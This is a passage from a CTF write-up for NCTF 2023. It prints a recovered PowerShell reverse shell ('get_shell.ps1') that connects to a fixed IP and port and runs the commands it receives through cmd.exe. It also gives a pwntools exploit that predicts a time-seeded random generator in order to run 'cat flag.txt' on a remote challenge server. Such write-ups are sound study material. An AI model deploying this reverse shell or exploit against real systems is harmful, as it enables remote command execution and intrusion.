3ADgAMgA2ADQAMgA4AGEANAAwAGUAZQA4AGMAZgAxADQAOABjAGMAMAAyAGUAYQBjADQANgA5ADEAOAA5ADYAYgAxAGUAYwAxADAAOABlADMAMAAwADYAOQAyADYAZgA1ADAAZAA1AGMANQA2ADYAYwAxADIAZAA0ADMAMgBkADAANgA2AGEANAAwAGQAMwBjADYANwA2ADcAMgA3AGQAMwAwADYAOAA1ADQANgA4AGMANABhADkANQAwAGYAZgA0AGQANQA4ADUAYgBjADgAZABkADcANwA1AGEAMgA2AGEAOAAwAGMAZQBiADkAYQA4ADMAOAA1ADAAZABlADQAYwA=' | conVeRtto-SEcurEsTrIng -key  (143..112)) ) ) ) )

最后的真实源码：

# get_shell.ps1
$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
do {
    $writer.Flush();
    $read = $null;
    $res = ""
    while ($stream.DataAvailable -or $read -eq $null) {
        $read = $stream.Read($buffer, 0, 1024)
    }
    $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n", "").Replace("`n", "");
    if (!$out.equals("exit")) {
        $args = "";
        if ($out.IndexOf(' ') -gt -1) {
            $args = $out.substring($out.IndexOf(' ') + 1);
            $out = $out.substring(0, $out.IndexOf(' '));
            if ($args.split(' ').length -gt 1) {
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                }
                else {
                    $res = $stdout
                }
            }
            else {
                $res = (&"$out" "$args") | out-string;
            }
        }
        else {
            $res = (&"$out") | out-string;
        }
        if ($res -ne $null) {
            $writer.WriteLine($res)
        }
    }
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

Randommaker

要 exec 执行命令，使用 a="",并且每一次将 payload 的一个字母拼接（a+=“x”的形式），难度在于每一次执行的代码在经过 shuffle 后恰好与原先一致，题目的随机数种子为毫秒级时间戳。通过在本地调试发现是连接后的 20ms，但是在远端测试为 30ms 左右。通过多连接几次，就会碰上正确的随机数种子。然后尝试通过发送不同数量的 1 使得 random 状态发生变化，使得 shuffle 后与原先一致即可。

import random
import copy as cp
import time
from pwn import *

context.log_level="debug"
t1 = int(time.time() * 1000)
io=remote("124.220.8.243",1337)
# io=process(["python3.9","./ss.py"])
t2 = int(time.time() * 1000)
timestamp=random.randint(t2+29,t2+31)
print(timestamp)
print(t1,t2,t2-t1)
io.recvuntil(b'>>> ')

random.seed(timestamp)

cmd="sys.stdout=original_stdout;import os;print(os.popen(\'cat flag.txt\').read())"
# cmd="import math"
# cmd="import os"
excute_payload=["a=\"\""]
random_state=random.getstate()

for i in cmd:
    excute_payload.append(f"a+=\"{i}\"")
excute_payload.append("exec(a)")
payloadlist=[]
count_one=0

def makerandom(text):
    text = list(text)
    random.shuffle(text)
    return text

def burte(payload=None):
    count=0
    global random_state
    status=cp.deepcopy(random_state)
    yourinput=cp.deepcopy(payload)
    while True:
        random.setstate(status)
        makerandom(count*"1")
        status1=random.getstate()
        if  "".join(makerandom(yourinput))==yourinput:
            payloadlist.append(count*"1")
            payloadlist.append(yourinput)
            random_state=random.getstate()
            print(count,payload)
            io.sendline(count*b"1")
            res=io.recvuntil(b'>>> ')
            print(res)
            io.sendline(payload.encode())
            res=io.recvuntil(b'>>> ')
            print(res)
            return count

        if count==4096:
            io.sendline(count*b"1")
            res=io.recvuntil(b'>>> ')
            count=0
            status=status1
        else:
            count+=1

for payload in excute_payload:
    burte(payload)

问卷

nctf{thanks_for_playing_nctf_2023}